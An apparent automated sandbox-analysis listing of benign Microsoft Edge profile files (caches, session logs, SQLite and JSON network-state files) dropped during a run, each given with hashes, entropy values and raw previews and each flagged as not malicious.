Preview:	0\r..m..........rSG.....0....z3.................;....x.P........,T.8..`,.....L`.....,T...`......L`......Rc..:.....exports...Rc.Z.....module....Rc........define....Rbz.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..&J.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....S...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:5PLFQyXl/lrV/lxE0tllz/l4d:dN60sd
MD5:	C8D48A6FCA94C68BC1DE155210177B5B
SHA1:	CF1E79C7E7816565A0306EF6AA71C4DCD9FD8DA3
SHA-256:	442D25909D75A2A58197F1317596E168651FB0F2EAD3E5AC82F40DB7A818BEAA
SHA-512:	64A6EDE585CD396115C71EE3F07CE3C90A03E7EED69AA265DB0D96EEF0952DB099316DEBF8A6D788FED8EEE4D677EC680E9DAD51D049243E87D0BC55765CCC47
Malicious:	false
Preview:	@.....+.oy retne.........................X....,................h.b.=./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:5PLFQyXl/lrV/lxE0tllz/l4d:dN60sd
MD5:	C8D48A6FCA94C68BC1DE155210177B5B
SHA1:	CF1E79C7E7816565A0306EF6AA71C4DCD9FD8DA3
SHA-256:	442D25909D75A2A58197F1317596E168651FB0F2EAD3E5AC82F40DB7A818BEAA
SHA-512:	64A6EDE585CD396115C71EE3F07CE3C90A03E7EED69AA265DB0D96EEF0952DB099316DEBF8A6D788FED8EEE4D677EC680E9DAD51D049243E87D0BC55765CCC47
Malicious:	false
Preview:	@.....+.oy retne.........................X....,................h.b.=./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3d4d5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:5PLFQyXl/lrV/lxE0tllz/l4d:dN60sd
MD5:	C8D48A6FCA94C68BC1DE155210177B5B
SHA1:	CF1E79C7E7816565A0306EF6AA71C4DCD9FD8DA3
SHA-256:	442D25909D75A2A58197F1317596E168651FB0F2EAD3E5AC82F40DB7A818BEAA
SHA-512:	64A6EDE585CD396115C71EE3F07CE3C90A03E7EED69AA265DB0D96EEF0952DB099316DEBF8A6D788FED8EEE4D677EC680E9DAD51D049243E87D0BC55765CCC47
Malicious:	false
Preview:	@.....+.oy retne.........................X....,................h.b.=./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4967
Entropy (8bit):	3.453723419845134
Encrypted:	false
SSDEEP:	96:Nx3eW3ab5bPAC3ZJX9Xp+UnB+qiP15SLl9iSr/1DXD4+Z7F:jex5bYk9Xp+I9iN5SLl9iSr/5D4g
MD5:	D8D116E838EFD432DDE97038E0566E87
SHA1:	1E6B85FAB129B556933DBE018E4064F459F15A8F
SHA-256:	4FCE115F79210DF71D904A5639B0785CC60886CC5496D91B47AFD8CC8FB2C88C
SHA-512:	1E74ADD00EFF9F6BD98E5BB6D987E7B193540E1B56E31B3738141983CAF34FB720D2AD6D48CB44CB4BF6E9914B7B6E20EE4D8F2700139821FFB45E522D265B02
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............&,.=b................next-map-id.1.Cnamespace-68522826_5441_47d4_b0ea_974ef4620a15-https://ntp.msn.com/.0.v:."................map-0-shd_sweeper.#{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.h.p.-.d.i.s.p.o.l.l.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.2.i.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.1.e.,.p.r.g.-.1.s.w.-.s.a.m.u.l.p.o.s.n.e.g.r.e.l.t.3.,.p.r.g.-.1.s.w.-.p.r.g.1.r.e.t.r.y.,.t.p.s.n.-.p.r.g.l.d.n.g.-.t.,.p.r.g.-.1.s.w.-.t.p.s.n.p.g.1.,.t.p.s.n.-.p.r.g.l.d.n.g.,.p.r.g.-.1.s.w.-.d.e.f.e.r.c.o.n.,.p.r.g.-.1.s.w.-.c.-.r.i.v.d.d.r.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.r.e.v.e.n.u.e.0.4.,.p.r.g.-.p.r.2.-.w.i.d.g.e.t.-.t.a.b.,.f.-.r.e.l.-.a.l.l.c.,.b.t.i.e.-.m.s.n.l.k.d.d.i.s.c.,.1.s.-.f.c.r.y.p.t.,.p.r.g.-.c.o.o.k.i.e.c.o.n.t.,.1.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.098984180054928
Encrypted:	false
SSDEEP:	6:HUMfUiNAVq2P923oH+TcwtrQMxIFUt8YUMfUopAgZmw+YUMfUIYAIkwO923oH+Tv:WPv4YebCFUt8Bg/+BIW5LYebtJ
MD5:	29DFF8F599CE70B930A974FD592766F0
SHA1:	12A6C3E433BACECC085C9C1BE71878E07201E80B
SHA-256:	0C129AF72B464CA9DE3EAF2A1BA2F9DE29197EA2B59A2DF06FB443AD27D13CA0
SHA-512:	20008A0AFEDF498E89D30C23C462FC126E478FF037D4BE37D308EF654BBEF2F57758C28BFF7FA93683DE905998EE9C1D8DC26253B1B66671FEC21D8AC66947E0
Malicious:	false
Preview:	2024/11/11-13:52:13.748 1dd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/11-13:52:13.812 1dd0 Recovering log #3.2024/11/11-13:52:13.817 1dd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.098984180054928
Encrypted:	false
SSDEEP:	6:HUMfUiNAVq2P923oH+TcwtrQMxIFUt8YUMfUopAgZmw+YUMfUIYAIkwO923oH+Tv:WPv4YebCFUt8Bg/+BIW5LYebtJ
MD5:	29DFF8F599CE70B930A974FD592766F0
SHA1:	12A6C3E433BACECC085C9C1BE71878E07201E80B
SHA-256:	0C129AF72B464CA9DE3EAF2A1BA2F9DE29197EA2B59A2DF06FB443AD27D13CA0
SHA-512:	20008A0AFEDF498E89D30C23C462FC126E478FF037D4BE37D308EF654BBEF2F57758C28BFF7FA93683DE905998EE9C1D8DC26253B1B66671FEC21D8AC66947E0
Malicious:	false
Preview:	2024/11/11-13:52:13.748 1dd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/11-13:52:13.812 1dd0 Recovering log #3.2024/11/11-13:52:13.817 1dd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375824735094312

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8186319812279956
Encrypted:	false
SSDEEP:	24:3geYeVzujSWuyecpsAF4unx6tLp3X2amEtG1ChqC+vlE7pQKkOAM4gN:3rYAzauwzFsLp2FEkCh3+vlmaHOp
MD5:	B56EC614EAE3589DF1B51EEF094081CD
SHA1:	927BDBA4F55F53B363FD488E810A3550E28311A6
SHA-256:	0EA3429739A24F560F19CB8C3779A256501A2966CFD33E3D7BE6BF79FA9A2470
SHA-512:	AC0705802FAEE578FBB6CD35FBB34541D712E96FC045843B0475F5DE0E7337234281DB4658A912A8AD8916228B2282676BEC3619C3677FA3861E874A0BD3B4C9
Malicious:	false
Preview:	SNSS.......#.NB...........#.NB......"#.NB...........#.NB.......#.NB.......$.NB.......$.NB....!..$.NB...............................#.NB$.NB1..,...$.NB$...68522826_5441_47d4_b0ea_974ef4620a15...#.NB.......$.NB.....1........#.NB...#.NB.......................#.NB....................5..0...#.NB&...{98952893-68FF-4A5D-A164-705C709ED3DB}.....#.NB..........#.NB.......................$.NB...........$.NB........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......!....&.."....&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.123918203990663
Encrypted:	false
SSDEEP:	6:HUMfUbVy9+q2P923oH+Tcwt7Uh2ghZIFUt8YUMfUbVyJZmw+YUMfUbP39VkwO920:WbVM+v4YebIhHh2FUt8BbVM/+BbPNV5g
MD5:	00D28EED2DD0359BEE4B2F3155700C73
SHA1:	99CC1D4D11ACE4EC374FD7CE0E0C2DDC045BFEAD
SHA-256:	DDE1E72F61FA8F02427096E104F078A1BA25A07A416D3B08AEC57E4DBA753956
SHA-512:	6691390519BC10CF421E5850DE943DBA7BEE79EFC78E188E95FFDB15C0AABFE9206990BD65A04880B2EB4F35CB22F939487726C35EACCF9040530C1ACF769D8B
Malicious:	false
Preview:	2024/11/11-13:52:12.706 1dbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/11-13:52:12.706 1dbc Recovering log #3.2024/11/11-13:52:12.707 1dbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.123918203990663
Encrypted:	false
SSDEEP:	6:HUMfUbVy9+q2P923oH+Tcwt7Uh2ghZIFUt8YUMfUbVyJZmw+YUMfUbP39VkwO920:WbVM+v4YebIhHh2FUt8BbVM/+BbPNV5g
MD5:	00D28EED2DD0359BEE4B2F3155700C73
SHA1:	99CC1D4D11ACE4EC374FD7CE0E0C2DDC045BFEAD
SHA-256:	DDE1E72F61FA8F02427096E104F078A1BA25A07A416D3B08AEC57E4DBA753956
SHA-512:	6691390519BC10CF421E5850DE943DBA7BEE79EFC78E188E95FFDB15C0AABFE9206990BD65A04880B2EB4F35CB22F939487726C35EACCF9040530C1ACF769D8B
Malicious:	false
Preview:	2024/11/11-13:52:12.706 1dbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/11-13:52:12.706 1dbc Recovering log #3.2024/11/11-13:52:12.707 1dbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.19900892847169
Encrypted:	false
SSDEEP:	12:WoFv4YebvqBQFUt8B6jX/+B25LYebvqBvJ:W44YebvZg8BhgLYebvk
MD5:	62B3A59A6E824A95E7AC19091EFB6145
SHA1:	AB01232F3F5F1DB151A97A67D68BE49BA3B238C2
SHA-256:	EF7DB8C5A835277587F679406662E9B6897DDEC30C091A465F3400C38AEF0257
SHA-512:	EBFE7A030BDA81894215FABA2AC0DD2533EF5EC4793F4B79663FE290113E96E4B37644C7B7A7679F0F0E8C42BF95DA293C8DBD766D43417BF20C0CDFDDCAE863
Malicious:	false
Preview:	2024/11/11-13:52:13.848 1dd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/11-13:52:13.850 1dd0 Recovering log #3.2024/11/11-13:52:13.854 1dd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.19900892847169
Encrypted:	false
SSDEEP:	12:WoFv4YebvqBQFUt8B6jX/+B25LYebvqBvJ:W44YebvZg8BhgLYebvk
MD5:	62B3A59A6E824A95E7AC19091EFB6145
SHA1:	AB01232F3F5F1DB151A97A67D68BE49BA3B238C2
SHA-256:	EF7DB8C5A835277587F679406662E9B6897DDEC30C091A465F3400C38AEF0257
SHA-512:	EBFE7A030BDA81894215FABA2AC0DD2533EF5EC4793F4B79663FE290113E96E4B37644C7B7A7679F0F0E8C42BF95DA293C8DBD766D43417BF20C0CDFDDCAE863
Malicious:	false
Preview:	2024/11/11-13:52:13.848 1dd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/11-13:52:13.850 1dd0 Recovering log #3.2024/11/11-13:52:13.854 1dd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0320a4aa-bb90-4402-98ca-e1b8a2621a55.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0685870c-dc4f-41cc-8d6d-29bd81d3a87f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\680e92de-a5ea-4ccd-9c7a-33582c57af75.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3906a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF39387.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF45252.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries~RF47933.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
